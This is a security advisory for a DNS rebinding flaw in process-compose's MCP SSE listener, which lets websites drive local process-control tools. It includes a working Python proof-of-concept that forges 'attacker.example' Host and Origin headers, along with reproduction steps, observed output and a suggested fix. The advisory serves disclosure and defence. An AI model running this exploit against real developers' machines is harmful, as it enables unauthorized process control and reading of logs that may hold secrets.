CVE-2026-77339: Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools

Summary

A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.

This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.

The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.

Affected Code

Root cause:

text src/types/mcp.go:24-30 SSE is the default MCP transport when mcpserver.transport is omitted. src/types/mcp.go:64-70 SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field. src/mcp/server.go:203-214 The server starts server.NewSSEServer(s.mcpServer) directly on the configured address. src/api/routes.go:32-39 X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.

Impact surface:

text src/mcp/mcpmanager.go:33-38 exposecontroltools registers built-in process-compose control tools. src/mcp/controltools.go:26-116 The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs. src/mcp/controltools.go:121-142 The registered tools return project and process state.

Reproduction

Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:

bash workdir="$(mktemp -d)" cd "$workdir" git clone https://github.com/F1bonacc1/process-compose process-compose-target cd process-compose-target git checkout d56aa59df04b72f8644811ac581a051bec05e485

go build -o ./process-compose-poc .

cat > process-compose-mcp-poc.yaml <<'YAML' mcpserver: host: 127.0.0.1 port: 8081 transport: sse exposecontroltools: true

processes: sleeper: command: "sleep 600" disabled: true YAML

PCNOSERVER=1 PCDISABLEDOTENV=1 ./process-compose-poc up \ -f ./process-compose-mcp-poc.yaml \ -t=false \ --no-server \ --keep-project \ --log-file ./process-compose-mcp-poc.log

In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:

bash python3 - <<'PY' import http.client import json import queue import threading import time import urllib.parse

host = "127.0.0.1" port = 8081 attackerhost = "attacker.example:8081" origin = "http://attacker.example:8081" headers = { "Host": attackerhost, "Origin": origin, "Accept": "text/event-stream", }

events = queue.Queue()

def readsse(resp): event = None data = None while True: line = resp.readline() if not line: return text = line.decode("utf-8", "replace").strip() if text.startswith("event:"): event = text.split(":", 1)[1].strip() elif text.startswith("data:"): data = text.split(":", 1)[1].strip() elif text == "" and (event or data): events.put((event, data)) event = None data = None

conn = http.client.HTTPConnection(host, port, timeout=10) conn.request("GET", "/sse", headers=headers) resp = conn.getresponse() print("GET /sse", resp.status) print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin")) threading.Thread(target=readsse, args=(resp,), daemon=True).start()

endpoint = None deadline = time.time() + 10 while time.time() < deadline: event, data = events.get(timeout=1) if event == "endpoint": endpoint = data break assert endpoint, "no SSE endpoint event" print("endpoint", endpoint)

def post(message): parsed = urllib.parse.urlparse(endpoint) path = parsed.path + ("?" + parsed.query if parsed.query else "") body = json.dumps(message).encode() c = http.client.HTTPConnection(host, port, timeout=10) c.request("POST", path, body=body, headers={ "Host": attackerhost, "Origin": origin, "Content-Type": "application/json", "Content-Length": str(len(body)), "Authorization": "Bearer invalid-replay-token", }) r = c.getresponse() r.read() c.close() print("POST", message.get("method"), r.status)

def waitresult(rpcid): deadline = time.time() + 10 while time.time() < deadline: event, data = events.get(timeout=1) if event == "message" and data: msg = json.loads(data) if msg.get("id") == rpcid: return msg raise SystemExit(f"no result for id {rpcid}")

post({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "rebind-poc", "version": "1.0.0"} } }) print(json.dumps(waitresult(1), indent=2))

post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})

post({"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}}) tools = waitresult(2) names = [tool["name"] for tool in tools["result"]["tools"]] print("tools", names)

post({ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "pcprocesslist", "arguments": {} } }) print(json.dumps(waitresult(3), indent=2)) PY

Observed Result

The MCP SSE listener accepted the forged browser-origin request shape:

text Host: attacker.example:8081 Origin: http://attacker.example:8081 Authorization: Bearer invalid-replay-token

The server returned GET /sse: HTTP 200 with Access-Control-Allow-Origin: . The MCP session then completed initialize, returned the process-compose tool catalog, and allowed tools/call to reach a process-control handler.

The operator reproduced the issue against the genuine process-compose target and observed pcprocesslist returning:

json { "data": [ { "name": "sleeper", "namespace": "default", "status": "Disabled", "systemtime": "-", "age": 0, "isready": "-", "hasreadyprobe": false, "restarts": 0, "exitcode": 0, "pid": 0, "iselevated": false, "passwordprovided": false, "mem": 0, "cpu": 0, "isrunning": false } ] }

Earlier replay against the same target also listed 13 pc MCP control tools and reached project-state and process-control calls through the SSE message endpoint.

Impact

A web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.

With exposecontroltools: true, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.

Process logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project.

Suggested Fix

Add a target-side trust boundary to the MCP SSE listener before MCP dispatch:

1. Reject requests whose Host header is not loopback or an explicit configured trusted name. 2. Reject browser requests whose Origin is not a trusted loopback or configured origin. 3. Require a random per-run bearer token or equivalent caller secret on both /sse and the returned /message endpoint. 4. Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports. 5. Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.